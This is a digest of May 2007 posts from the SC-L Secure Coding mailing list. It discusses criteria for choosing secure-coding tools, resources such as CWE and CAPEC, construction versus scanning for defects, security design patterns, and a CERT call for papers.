Date: Tue, 22 May 2007 12:52:46 -0400 (EDT)
Subject: [SC-L] Tools: Evaluation Criteria
In-Reply-To: <773F863A6009244B87E6E866AFC7DB4603999AE3@AD1HFDEXC309.ad1.prod>
References: <773F863A6009244B87E6E866AFC7DB4603999AE3@AD1HFDEXC309.ad1.prod>
Message-ID: <Pine.GSO.4.51.0705221241420.26578@faron.mitre.org>


On Tue, 22 May 2007, McGovern, James F (HTSC, IT) wrote:

> We will shortly be starting an evaluation of tools to assist in the
> secure coding practices initiative and have been wildly successful in
> finding lots of consultants who can assist us in evaluating but
> absolutely zero in terms of finding RFI/RFPs of others who have
> travelled this path before us. Would especially love to understand
> stretch goals that we should be looking for beyond simple stuff like
> finding buffer overflows in C, OWASP checklists, etc.

semi-spam: With over 600 nodes in draft 6, the Common Weakness Enumeration
(CWE) at http://cwe.mitre.org is the most comprehensive list of
vulnerability issues out there, and it's not just implementation bugs.
That might help you find other areas you want to test.  In addition, many
code analysis tool vendors are participating in CWE.

> In my travels, it "feels" as if folks are simply choosing tools in this
> space because they are the market leader, incumbent vendor or simply
> asking an industry analyst but none seem to have any "deep" criteria. I
> guess at some level, choosing any tool will move the needle, but
> investments really should be longer term.

Preliminary CWE analyses have shown a lot less overlap across the tools
than expected, so even baased on vulnerabilities tested, this is an
important consideration.

You might also want to check out the SAMATE project (samate.nist.gov),
which is working towards evaluation and understanding of tools, although
it's a multi-year program.

Finally, Network Computing did a tool comparison:


http://www.networkcomputing.com/article/printFullArticle.jhtml?articleID=198900460

- Steve

From gem at cigital.com  Tue May 22 14:41:24 2007
From: gem at cigital.com (Gary McGraw)
Date: Tue, 22 May 2007 14:41:24 -0400
Subject: [SC-L] Silver Bullet: Peter Neumann
Message-ID: <41945506397C0C4886A8C5BFF089B5CA9BDC9015@va-mailhub.cigital.com>

Hi all,

The Silver Bullet Security Podcast episode 14 just went live today.  This one features an interview with Peter Neumann, software quality pundit and moderator of comp.RISKS.  We had fun with this one.

http://www.cigital.com/silverbullet/show-014/

Peter and I discuss (among other things) the difference between software security a la Multics and software security today.  Plenty of good stuff in this one for software security types.

gem

company www.cigital.com
blog www.cigital.com/justiceleague
book www.swsec.com


From ken at krvw.com  Wed May 23 09:01:14 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Wed, 23 May 2007 09:01:14 -0400
Subject: [SC-L] 1 Raindrop: Common Attack Pattern Enumeration and
	Classification (CAPEC)
Message-ID: <6D39EE47-547D-4C44-BA00-7DAC481ABEC5@krvw.com>

SC-L,

Saw this via Gunnar Peterson's blog (http://1raindrop.typepad.com/ 
1_raindrop/2007/05/common_attack_p.html)...  Check out Mitre's first  
draft of CAPEC, the Common Attack Pattern Enumeration and  
Classification database (http://capec.mitre.org).  It complements the  
existing CVE (http://cve.mitre.org) and CWE (http://cwe.mitre.org)  
efforts by presenting the attack patterns used to exploit the various  
vulnerabilities.

Great stuff that should be of interest to our readers here at SC-L,  
though the site itself does require Javascript to work -- boo hiss! :-)

Cheers,

Ken
-----
Kenneth R. van Wyk
KRvW Associates, LLC
http://www.KRvW.com




-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2454 bytes
Desc: not available
Url : http://krvw.com/pipermail/sc-l/attachments/20070523/758a7f7d/attachment.bin 

From James.McGovern at thehartford.com  Wed May 23 09:47:58 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Wed, 23 May 2007 09:47:58 -0400
Subject: [SC-L] Tools: Evaluation Criteria
In-Reply-To: <Pine.GSO.4.51.0705221241420.26578@faron.mitre.org>
Message-ID: <773F863A6009244B87E6E866AFC7DB4603999AF8@AD1HFDEXC309.ad1.prod>

I think my thinking was a little different. I would also expect criteria that shows how it integrates into the entire lifecycle. For example, scanning source code that is already extracted is a little different than scanning a PVCS repository. Likewise, taking a list of vulnerabilities and understanding who created them, connecting to the identity stored in version control and then having the ability to feed tools such as JIRA, PVCS Tracker, etc would be powerful.

Good to see that folks are expanding the criteria in terms of what it scans for, but criteria as to how it integrates is also equally useful.

-----Original Message-----
From: sc-l-bounces at securecoding.org
[mailto:sc-l-bounces at securecoding.org]On Behalf Of Steven M. Christey
Sent: Tuesday, May 22, 2007 12:53 PM
To: McGovern, James F (HTSC, IT)
Cc: SC-L at securecoding.org
Subject: Re: [SC-L] Tools: Evaluation Criteria



On Tue, 22 May 2007, McGovern, James F (HTSC, IT) wrote:

> We will shortly be starting an evaluation of tools to assist in the
> secure coding practices initiative and have been wildly successful in
> finding lots of consultants who can assist us in evaluating but
> absolutely zero in terms of finding RFI/RFPs of others who have
> travelled this path before us. Would especially love to understand
> stretch goals that we should be looking for beyond simple stuff like
> finding buffer overflows in C, OWASP checklists, etc.

semi-spam: With over 600 nodes in draft 6, the Common Weakness Enumeration
(CWE) at http://cwe.mitre.org is the most comprehensive list of
vulnerability issues out there, and it's not just implementation bugs.
That might help you find other areas you want to test.  In addition, many
code analysis tool vendors are participating in CWE.

> In my travels, it "feels" as if folks are simply choosing tools in this
> space because they are the market leader, incumbent vendor or simply
> asking an industry analyst but none seem to have any "deep" criteria. I
> guess at some level, choosing any tool will move the needle, but
> investments really should be longer term.

Preliminary CWE analyses have shown a lot less overlap across the tools
than expected, so even baased on vulnerabilities tested, this is an
important consideration.

You might also want to check out the SAMATE project (samate.nist.gov),
which is working towards evaluation and understanding of tools, although
it's a multi-year program.

Finally, Network Computing did a tool comparison:


http://www.networkcomputing.com/article/printFullArticle.jhtml?articleID=198900460

- Steve
_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org
List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************



From peter.amey at praxis-his.com  Wed May 23 11:27:09 2007
From: peter.amey at praxis-his.com (Peter Amey)
Date: Wed, 23 May 2007 16:27:09 +0100
Subject: [SC-L] Tools: Evaluation Criteria
Message-ID: <4BF0455B353E524FBEA15C3A490F7DFEE5F442@EVS01.praxis.local>

 

[snip]
> 
> Good to see that folks are expanding the criteria in terms of 
> what it scans for, but criteria as to how it integrates is 
> also equally useful.
> 

On the contrary I find the idea of evaluating tools by "what they scan
for" very disturbing.  It shows a continuing belief that software
engineering involves building things then "scanning" them for defects.
We /must/ move to tools and methods that help us construct correct
programs rather than looking for defects in them afterwards.

Let me give you an example from my previous aeronautical career.  The
DeHavilland Comet was the world's first transatlantic jet airliner.  All
went well until after a year of two of service there were a series of
catastrophic airframe failures in flight, all with total loss of those
on board.  ISTR that there were 3 crashes in all.  The design defect
that caused the disasters was a combination of square cabin windows and
hull pressurisation on each flight.  The square windows caused amplified
stress at each window corner which, with the cyclic stress changes from
pressurisation caused metal fatigue failures and hull loss.  Metal
fatigue was little understood at the time.

Now for the lessons.  The aero industry quickly learned about metal
fatigue and stress raisers and used that information to design fuselages
that did not suffer from the Comet's defects.  That is why your airliner
window is oval not square.  There have been very, very few Comet-style
failures since (and they are usually associated with corrosion or poor
maintenance).  So, the problem was analysed, understood, disseminated
and hence eliminated.

In the software world we seem to content to build "window squareness
detection tools".  Some will find 70% of square windows but miss others
and produce false alarms in yet other cases.

Buffer overflows are the square windows of secure software: we shouldn't
be /scanning/ for them but using languages and tools that /prevent/
their introduction.

Regards


Peter

--------------------------------------------------------

Peter Amey BSc ACGI CEng CITP MRAes FBCS

CTO (Software Engineering)
direct:   +44 (0) 1225 823761
mobile: +44 (0) 7774 148336
peter.amey at praxis-his.com

Praxis High Integrity Systems Ltd
20 Manvers St, Bath, BA1 1PX, UK
t: +44 (0)1225 466991
f: +44 (0)1225 469006
w: www.praxis-his.com

--------------------------------------------------------

 



This email is confidential and intended solely for the use of the individual to whom it is addressed. If you are not the intended recipient, be advised that you have received this email in error and that any use, disclosure, copying or distribution or any action taken or omitted to be taken in reliance on it is strictly prohibited. If you have received this email in error please contact the sender. Any views or opinions presented in this email are solely those of the author and do not necessarily represent those of Praxis. 

Although this email and any attachments are believed to be free of any virus or other defect, no responsibility is accepted by Praxis or any of its associated companies for any loss or damage arising in any way from the receipt or use thereof. The IT Department at Praxis can be contacted at it.support at praxis-his.com.

Praxis High Integrity Systems Ltd:

Company Number: 3302507, registered in England and Wales

Registered Address: 20 Manvers Street, Bath. BA1 1PX

VAT Registered in Great Britain: 682635707



From James.McGovern at thehartford.com  Wed May 23 12:34:23 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Wed, 23 May 2007 12:34:23 -0400
Subject: [SC-L] Tools: Evaluation Criteria
In-Reply-To: <4BF0455B353E524FBEA15C3A490F7DFEE5F442@EVS01.praxis.local>
Message-ID: <773F863A6009244B87E6E866AFC7DB4603999B01@AD1HFDEXC309.ad1.prod>

Peter, I think I agree with your comments at some level but disagree at another. Your comment about using languages and tools is spot on yet the reason no one is actually approaching it from this fashion is that you can't make money off it. For example, if we all jumped in and make the GNU C compiler better and even worked with code generation products that subscribe to say MDA, then how would most folks here profit?

Maybe folks are still building square windows because we haven't realized how software fails and can describe it in terms of a pattern. The only pattern-oriented book I have ran across in my travels is the Core Security Patterns put out by the folks at Sun. Do you think we should stop talking solely about code and start talking about how vulnerabilities are repeatedly introduced and describe using patterns notation?

It is also important to realize that the folks with decision-making authority in terms of procuring tools usually aren't from an engineering background. Nowadays, many decision-makers may not have even written a single line of code in their lifetime and use process as a substitute for competence. While process weenies don't necessary understand coding, they do usually understand the notion of auditing which these tools cater to.

If one can produce a metric, scorecard or other terms attractive to modern IT executives, it is certainly more attractive than engineering practices they don't understand.

Audit-oriented thinking also allows folks to put clauses into contracts when enterprises procure software from third-parties and can mandate scans by multiple tools that produce a score below say X while what you are proposing is a lot harder and requires more trust when third parties are involved.

-----Original Message-----
From: Peter Amey [mailto:peter.amey at praxis-his.com]
Sent: Wednesday, May 23, 2007 11:27 AM
To: McGovern, James F (HTSC, IT)
Cc: SC-L at securecoding.org
Subject: RE: [SC-L] Tools: Evaluation Criteria


 

[snip]
> 
> Good to see that folks are expanding the criteria in terms of 
> what it scans for, but criteria as to how it integrates is 
> also equally useful.
> 

On the contrary I find the idea of evaluating tools by "what they scan
for" very disturbing.  It shows a continuing belief that software
engineering involves building things then "scanning" them for defects.
We /must/ move to tools and methods that help us construct correct
programs rather than looking for defects in them afterwards.

Let me give you an example from my previous aeronautical career.  The
DeHavilland Comet was the world's first transatlantic jet airliner.  All
went well until after a year of two of service there were a series of
catastrophic airframe failures in flight, all with total loss of those
on board.  ISTR that there were 3 crashes in all.  The design defect
that caused the disasters was a combination of square cabin windows and
hull pressurisation on each flight.  The square windows caused amplified
stress at each window corner which, with the cyclic stress changes from
pressurisation caused metal fatigue failures and hull loss.  Metal
fatigue was little understood at the time.

Now for the lessons.  The aero industry quickly learned about metal
fatigue and stress raisers and used that information to design fuselages
that did not suffer from the Comet's defects.  That is why your airliner
window is oval not square.  There have been very, very few Comet-style
failures since (and they are usually associated with corrosion or poor
maintenance).  So, the problem was analysed, understood, disseminated
and hence eliminated.

In the software world we seem to content to build "window squareness
detection tools".  Some will find 70% of square windows but miss others
and produce false alarms in yet other cases.

Buffer overflows are the square windows of secure software: we shouldn't
be /scanning/ for them but using languages and tools that /prevent/
their introduction.

Regards


Peter

--------------------------------------------------------

Peter Amey BSc ACGI CEng CITP MRAes FBCS

CTO (Software Engineering)
direct:   +44 (0) 1225 823761
mobile: +44 (0) 7774 148336
peter.amey at praxis-his.com

Praxis High Integrity Systems Ltd
20 Manvers St, Bath, BA1 1PX, UK
t: +44 (0)1225 466991
f: +44 (0)1225 469006
w: www.praxis-his.com

--------------------------------------------------------

 



This email is confidential and intended solely for the use of the individual to whom it is addressed. If you are not the intended recipient, be advised that you have received this email in error and that any use, disclosure, copying or distribution or any action taken or omitted to be taken in reliance on it is strictly prohibited. If you have received this email in error please contact the sender. Any views or opinions presented in this email are solely those of the author and do not necessarily represent those of Praxis. 

Although this email and any attachments are believed to be free of any virus or other defect, no responsibility is accepted by Praxis or any of its associated companies for any loss or damage arising in any way from the receipt or use thereof. The IT Department at Praxis can be contacted at it.support at praxis-his.com.

Praxis High Integrity Systems Ltd:

Company Number: 3302507, registered in England and Wales

Registered Address: 20 Manvers Street, Bath. BA1 1PX

VAT Registered in Great Britain: 682635707



*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************



From jsteven at cigital.com  Wed May 23 14:38:34 2007
From: jsteven at cigital.com (John Steven)
Date: Wed, 23 May 2007 14:38:34 -0400
Subject: [SC-L] Technology-specific Security Standards
Message-ID: <C27A026A.3E02%jsteven@cigital.com>

All,

My last two posts to Cigital's blog covered whether or not to build your
security standards specific to a technology-stack and code-centric or to be
more general about them:

http://www.cigital.com/justiceleague/2007/05/18/security-guidance-and-its-%e
2%80%9cspecificity-knob%e2%80%9d/

And

http://www.cigital.com/justiceleague/2007/05/21/how-to-write-good-security-g
uidance/

Dave posted a comment on the topic, which I'm quoting here:
-----
Your point about the ?perishability? of such prescriptive checklists does
make the adoption of such a program fairly high maintenance. Nothing wrong
with that, but expectations should be set early that this would not be a
fire and forget type of program, but rather an ongoing investment.
-----

I agree, specifying guidance at this level does take a lot more effort; you
get what you pay for eh? I responded in turn with a comment of my own. I've
seen some organizations control this cost effectively and still get value:

See:
http://www.cigital.com/justiceleague/2007/05/18/security-guidance-and-its-%e
2%80%9cspecificity-knob%e2%80%9d/#comment-1048

Some people think my stand controversial...

What do you guys think?

----
John Steven
Technical Director; Principal, Software Security Group
Direct: (703) 404-5726 Cell: (703) 727-4034
Key fingerprint = 4772 F7F3 1019 4668 62AD  94B0 AE7F EEF4 62D5 F908

Blog: http://www.cigital.com/justiceleague
Papers: http://www.cigital.com/papers/jsteven

http://www.cigital.com
Software Confidence. Achieved.



From ljknews at mac.com  Wed May 23 14:58:31 2007
From: ljknews at mac.com (ljknews)
Date: Wed, 23 May 2007 14:58:31 -0400
Subject: [SC-L] Tools: Evaluation Criteria
In-Reply-To: <773F863A6009244B87E6E866AFC7DB4603999B01@AD1HFDEXC309.ad1.prod>
References: <773F863A6009244B87E6E866AFC7DB4603999B01@AD1HFDEXC309.ad1.prod>
Message-ID: <p05200f00c27a3d17b7e9@[192.168.1.254]>

At 12:34 PM -0400 5/23/07, McGovern, James F (HTSC, IT) wrote:

> If one can produce a metric, scorecard or other terms attractive to
> modern IT executives, it is certainly more attractive than engineering
> practices they don't understand.

A good metric would be what development process was used in development.
"Relying exclusively on component reuse" might seem attractive to the
accountants, but more thorough analysis would say it is not the solution
to all problems.

> Audit-oriented thinking also allows folks to put clauses into contracts 
> when enterprises procure software from third-parties and can mandate scans 
> by multiple tools that produce a score below say X 

Racing sailboat rigging gets periodic X-ray (or magnetic flux, I forget)
scanning to find developing cracks.  I presume the same is true for some
types of aircraft.  Certainly it is better to find the _cause_ of fatigue
since it is possible to have a defect not caught by the scan.

> while what you are proposing is a lot harder and requires more trust 
> when third parties are involved.

How is trust involved ?  Are you saying that vendors would lie about the
kind of software development methodology they can use ?
-- 
Larry Kilgallen

From list-procurare at secureconsulting.net  Wed May 23 19:57:15 2007
From: list-procurare at secureconsulting.net (Benjamin Tomhave)
Date: Wed, 23 May 2007 19:57:15 -0400
Subject: [SC-L] Technology-specific Security Standards
In-Reply-To: <C27A026A.3E02%jsteven@cigital.com>
References: <C27A026A.3E02%jsteven@cigital.com>
Message-ID: <001601c79d96$16bbf360$0a01a8c0@zippy>

In my experience, a tiered approach is useful.  The higher up you are in the
policy framework, the more general and time-enduring the content should be.
The farther you progress down the framework to a more detailed level, the
more perishable the content will be, out of necessity.  The reason that
we've adopted specific guidance bound at the technical level is because
implementers need it.  They're not security experts (usually) and do not
necessarily grok security the same way a seasoned (salty?) security person
might.

A couple colleagues and I actually chatted about this around the same time
that the original message here is timestamped, in the context of application
security standards.  The approach we're planning to adopt is to provide
good, minimally-specific guidance in our formal standards documents (e.g.
"implement input validation") and the produce living implementation guides
(possibly in a wiki form) that can be referenced in relation to the
standards.  We'll see how this works in reality, but it seems to be a nice
mix in theory between provide specific requirements without getting so far
into the weeds that it will require constant rewriting as the underlying
technologies change.

fwiw.

-ben

---
Benjamin Tomhave, MS, CISSP, NSA-IAM, NSA-IEM
falcon at secureconsulting.net
Web: http://falcon.secureconsulting.net/
LI: http://www.linkedin.com/in/btomhave
Blog: http://www.secureconsulting.net/
Photos: http://photos.secureconsulting.net/

"We must scrupulously guard the civil rights and civil liberties of all
citizens, whatever their background. We must remember that any oppression,
any injustice, any hatred is a wedge designed to attack our civilization."
-President Franklin Delano Roosevelt
 

> -----Original Message-----
> From: sc-l-bounces at securecoding.org 
> [mailto:sc-l-bounces at securecoding.org] On Behalf Of John Steven
> Sent: Wednesday, May 23, 2007 2:39 PM
> To: SC-L at securecoding.org
> Subject: [SC-L] Technology-specific Security Standards
> 
> All,
> 
> My last two posts to Cigital's blog covered whether or not to 
> build your security standards specific to a technology-stack 
> and code-centric or to be more general about them:
> 
> http://www.cigital.com/justiceleague/2007/05/18/security-guida
> nce-and-its-%e
> 2%80%9cspecificity-knob%e2%80%9d/
> 
> And
> 
> http://www.cigital.com/justiceleague/2007/05/21/how-to-write-g
> ood-security-g
> uidance/
> 
> Dave posted a comment on the topic, which I'm quoting here:
> -----
> Your point about the ?perishability? of such prescriptive 
> checklists does make the adoption of such a program fairly 
> high maintenance. Nothing wrong with that, but expectations 
> should be set early that this would not be a fire and forget 
> type of program, but rather an ongoing investment.
> -----
> 
> I agree, specifying guidance at this level does take a lot 
> more effort; you get what you pay for eh? I responded in turn 
> with a comment of my own. I've seen some organizations 
> control this cost effectively and still get value:
> 
> See:
> http://www.cigital.com/justiceleague/2007/05/18/security-guida
> nce-and-its-%e
> 2%80%9cspecificity-knob%e2%80%9d/#comment-1048
> 
> Some people think my stand controversial...
> 
> What do you guys think?
> 
> ----
> John Steven
> Technical Director; Principal, Software Security Group
> Direct: (703) 404-5726 Cell: (703) 727-4034 Key fingerprint = 
> 4772 F7F3 1019 4668 62AD  94B0 AE7F EEF4 62D5 F908
> 
> Blog: http://www.cigital.com/justiceleague
> Papers: http://www.cigital.com/papers/jsteven
> 
> http://www.cigital.com
> Software Confidence. Achieved.
> 
> 
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org List 
> information, subscriptions, etc - 
> http://krvw.com/mailman/listinfo/sc-l
> List charter available at - 
> http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC 
> (http://www.KRvW.com) as a free, non-commercial service to 
> the software security community.
> _______________________________________________
> 



From Kevin.Wall at qwest.com  Thu May 24 07:45:14 2007
From: Kevin.Wall at qwest.com (Wall, Kevin)
Date: Thu, 24 May 2007 06:45:14 -0500
Subject: [SC-L] Tools: Evaluation Criteria
References: <773F863A6009244B87E6E866AFC7DB4603999B01@AD1HFDEXC309.ad1.prod>
Message-ID: <CF8B26B8B49184429CB084616B001930059BAF68@itomae2km05.AD.QINTRA.COM>

James McGovern wrote...

> Maybe folks are still building square windows because we haven't
> realized how software fails and can describe it in terms of a pattern.
> The only pattern-oriented book I have ran across in my travels is the
> Core Security Patterns put out by the folks at Sun. Do you think we
> should stop talking solely about code and start talking about how
> vulnerabilities are repeatedly introduced and describe using patterns
> notation?

You might want to check out securitypatterns.org, and more specifically,
    http://www.securitypatterns.org/patterns.html
which mentions a few other books.

I think there are a few other books by Markus Schumacher, one of which
was based on his doctoral dissertation that is not shown there.

As to your question, should we stop talking _SOLEY_ about code? Probably,
yes. But I think the reason we don't is two-fold -- the first is that most
of us view that as the easy-part, the low-hanging fruit so-to-speak. The
second is that the development community for the most part, still doesn't
seem to be applying the securing CODING principles, so many of us think
it would be premature to move on to try to teach them secure design
principles, developing security reqts with abuse cases, etc., threat modeling,
etc. From a personal POV, I think that's something that a small team of
security specialists can handle. (At least it mostly works here. Security
evaluations are mandatory shortly after the design is complete.) But we
can't possibly do manual code inspections with a small security team,
so we try to instruct (alas, w/out too much success) developers secure
coding practices to avoid the problems at that level in the first place.

-kevin
---
Kevin W. Wall		Qwest Information Technology, Inc.
Kevin.Wall at qwest.com	Phone: 614.215.4788
"The reason you have people breaking into your software all 
over the place is because your software sucks..."
 -- Former whitehouse cybersecurity advisor, Richard Clarke,
    at eWeek Security Summit


This communication is the property of Qwest and may contain confidential or
privileged information. Unauthorized use of this communication is strictly 
prohibited and may be unlawful.  If you have received this communication 
in error, please immediately notify the sender by reply e-mail and destroy 
all copies of the communication and any attachments.


From gunnar at arctecgroup.net  Thu May 24 08:58:34 2007
From: gunnar at arctecgroup.net (Gunnar Peterson)
Date: Thu, 24 May 2007 07:58:34 -0500
Subject: [SC-L] Tools: Evaluation Criteria
In-Reply-To: <CF8B26B8B49184429CB084616B001930059BAF68@itomae2km05.AD.QINTRA.COM>
Message-ID: <C27AF62A.9C5C%gunnar@arctecgroup.net>

I recommend "Security Design Patterns" by Bob Blakley and Craig Heath

http://www.opengroup.org/publications/catalog/g031.htm

Like any good patterns work, it makes a number of implicit actions, explicit
and gives you a way to see how they fit together and when you may choose
certain paths. For example section 8.8 on secure proxy patterns, is the best
treatment on the subject I have seen. It discusses seven distinct approaches
to secure proxies (delegation, impersonation, and so on), it was written in
the days before federation and user centric identity, so it would be nice to
update it with that.

-gp

On 5/24/07 6:45 AM, "Wall, Kevin" <Kevin.Wall at qwest.com> wrote:

> James McGovern wrote...
> 
>> Maybe folks are still building square windows because we haven't
>> realized how software fails and can describe it in terms of a pattern.
>> The only pattern-oriented book I have ran across in my travels is the
>> Core Security Patterns put out by the folks at Sun. Do you think we
>> should stop talking solely about code and start talking about how
>> vulnerabilities are repeatedly introduced and describe using patterns
>> notation?
> 
> You might want to check out securitypatterns.org, and more specifically,
>     http://www.securitypatterns.org/patterns.html
> which mentions a few other books.
> 
> I think there are a few other books by Markus Schumacher, one of which
> was based on his doctoral dissertation that is not shown there.
> 
> As to your question, should we stop talking _SOLEY_ about code? Probably,
> yes. But I think the reason we don't is two-fold -- the first is that most
> of us view that as the easy-part, the low-hanging fruit so-to-speak. The
> second is that the development community for the most part, still doesn't
> seem to be applying the securing CODING principles, so many of us think
> it would be premature to move on to try to teach them secure design
> principles, developing security reqts with abuse cases, etc., threat modeling,
> etc. From a personal POV, I think that's something that a small team of
> security specialists can handle. (At least it mostly works here. Security
> evaluations are mandatory shortly after the design is complete.) But we
> can't possibly do manual code inspections with a small security team,
> so we try to instruct (alas, w/out too much success) developers secure
> coding practices to avoid the problems at that level in the first place.
> 
> -kevin
> ---
> Kevin W. Wall  Qwest Information Technology, Inc.
> Kevin.Wall at qwest.com Phone: 614.215.4788
> "The reason you have people breaking into your software all
> over the place is because your software sucks..."
>  -- Former whitehouse cybersecurity advisor, Richard Clarke,
>     at eWeek Security Summit
> 
> 
> This communication is the property of Qwest and may contain confidential or
> privileged information. Unauthorized use of this communication is strictly
> prohibited and may be unlawful.  If you have received this communication
> in error, please immediately notify the sender by reply e-mail and destroy
> all copies of the communication and any attachments.
> 
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
> 

-- 
Gunnar Peterson, Managing Principal, Arctec Group
http://www.arctecgroup.net

SOA, Web Services and XML Security & Web Application Security Training

Schedule of Public Classes
May 15 Milan (OWASP App Sec Conference)
June 4-5 Helsinki, Finland (FISA and OWASP)
July 17-19 Washington/Baltimore

Blog: http://1raindrop.typepad.com



From peter.amey at praxis-his.com  Thu May 24 10:32:08 2007
From: peter.amey at praxis-his.com (Peter Amey)
Date: Thu, 24 May 2007 15:32:08 +0100
Subject: [SC-L] Tools: Evaluation Criteria
Message-ID: <4BF0455B353E524FBEA15C3A490F7DFEEACB0B@EVS01.praxis.local>

 

> -----Original Message-----
> From: sc-l-bounces at securecoding.org 
> [mailto:sc-l-bounces at securecoding.org] On Behalf Of Wall, Kevin
> Sent: 24 May 2007 12:45
> To: McGovern, James F (HTSC, IT)
> Cc: SC-L at securecoding.org
> Subject: Re: [SC-L] Tools: Evaluation Criteria
> 
> James McGovern wrote...
> 
> > Maybe folks are still building square windows because we haven't 
> > realized how software fails and can describe it in terms of 
> a pattern.
> > The only pattern-oriented book I have ran across in my 
> travels is the 
> > Core Security Patterns put out by the folks at Sun. Do you think we 
> > should stop talking solely about code and start talking about how 
> > vulnerabilities are repeatedly introduced and describe 
> using patterns 
> > notation?
> 
[snip

I am very happy to accept that we may not understand /all/ or even
/most/ of the ways software fails but we do know an awful lot.  Buffer
overflows, numeric overflows and division by zero have been wee
understood for years.  The first was limited by various versions of
Pascal ages ago.  Yet we are still clinging to techniques that hope we
can spot a buffer overflow "pattern" after construction (and hopefully
before an exploiter!).

There is a nice symmetry about my aeronautical analogy.  The Comet
disasters occurred just over 50 years after the Wright brothers first
flew; and we are still fiddling around with buffer overflows just over
50 years after Colossus (at the Bletchley Park crypto centre of Enigma
fame) signalled the start of the computer age.

That's all, back to the asylum!


Peter


This email is confidential and intended solely for the use of the individual to whom it is addressed. If you are not the intended recipient, be advised that you have received this email in error and that any use, disclosure, copying or distribution or any action taken or omitted to be taken in reliance on it is strictly prohibited. If you have received this email in error please contact the sender. Any views or opinions presented in this email are solely those of the author and do not necessarily represent those of Praxis. 

Although this email and any attachments are believed to be free of any virus or other defect, no responsibility is accepted by Praxis or any of its associated companies for any loss or damage arising in any way from the receipt or use thereof. The IT Department at Praxis can be contacted at it.support at praxis-his.com.

Praxis High Integrity Systems Ltd:

Company Number: 3302507, registered in England and Wales

Registered Address: 20 Manvers Street, Bath. BA1 1PX

VAT Registered in Great Britain: 682635707



From ken at krvw.com  Fri May 25 08:52:10 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Fri, 25 May 2007 08:52:10 -0400
Subject: [SC-L] Administrivia: Moderator on hiatus
Message-ID: <468499D9-4B8B-4244-8C73-CE5C0852AE20@krvw.com>

SC-L,

After an insane travel schedule over the last several months, the  
moderator is taking some much-needed time to relax on the beach while  
sipping boat drinks.  I'll be checking the SC-L queue over the next  
week at least once daily, but if you submit something, please be a  
bit patient.  It'll go out, but might take a little while.  Sorry for  
the inconvenience.

Cheers,

Ken
-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com




-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2454 bytes
Desc: not available
Url : http://krvw.com/pipermail/sc-l/attachments/20070525/3812de1b/attachment.bin 

From rcs at cert.org  Fri May 25 11:04:44 2007
From: rcs at cert.org (Robert C. Seacord)
Date: Fri, 25 May 2007 11:04:44 -0400
Subject: [SC-L] CFP: CERT Software,
	System and Information Security Cluster (HICSS-41)
Message-ID: <4656FB0C.1090507@cert.org>


                   CALL FOR PAPERS
              CERT Software, System and
             Information Security Cluster

    Hawaii International Conference on System Sciences (HICSS-41)
                  January 7-10, 2008
                   Waikoloa, Hawaii

SCOPE

The CERT Software, System and Information Security (CSSIS) Cluster is
a composition of two related minitracks from the Software Technology
and Internet and the Digital Economy tracks. This Cluster focuses on
the security issues facing software developers and implementation
strategies. The description of minitracks covered follows:


THE CERT SOFTWARE APPLICATION SECURITY (CSAS) MINITRACK

This minitrack focuses on the research and automation techniques
required to develop secure software systems that do not compromise
other system properties such as performance or reliability. Current
security engineering methods are demonstrably inadequate as software
vulnerabilities are currently being discovered at the rate of over
4,000 per year. These vulnerabilities are caused by software designs
and implementations that do not adequately protect systems and by
development practices that do not focus sufficiently on eliminating
implementation defects that result in security flaws. An opportunity
exists for systematic improvement that can lead to secure software
applications and implementations.


THE CYBER THREATS, EMERGING RISKS, AND SYSTEMIC CONCERNS (CTERSC)
MINITRACK

This minitrack addresses issues related to detecting, mitigating and
preventing the threat of computer-based attacks and operational
failures. Papers that address improving the security of
computer-reliant organizations from these threats through technical,
organizational, or behavioral change are encouraged. These may include
simulation studies, case-based research, empirical studies, and other
applications of quantitative and qualitative methods. Contributions
that rely on a perspective that is systemic and holistic are
especially appreciated. The following topics are appropriate for
research papers in the CSISS Cluster:

* Static analysis tools and techniques for detecting security flaws
  and software vulnerabilities in source or binary code.

* Dynamic analysis tools for detecting security flaws and software
  vulnerabilities in source or binary code.

* Model checking tools for detecting security flaws and software
  vulnerabilities in software systems.

* Software architectures and designs for securing against
  denial-of-service attacks and other software exploits.

* Coding practices for improved security and secure library
  implementations.

* Computational security engineering.

* Other tools and techniques for reducing or eliminating
  vulnerabilities during the development and maintenance.

* Identifying modes of misuse

* Applications of access policies

* Analysis of known and unknown modes of attack

* Separating anomalous from routine behavior

* Detecting and mitigating insider threats

* Modeling risks and approaches to mitigation

* Teaching and training security and business managers about the risks
  of cyber-attacks

* The economics of information security

* Creating channels and techniques to share confidential information

* Modeling and theory building of security issues

* Unifying security and safety models


PAPER REVIEW AND PROCEEDINGS PUBLICATION

Papers in each of the HICSS tracks frequently make significant
contributions to the application of information systems technology.
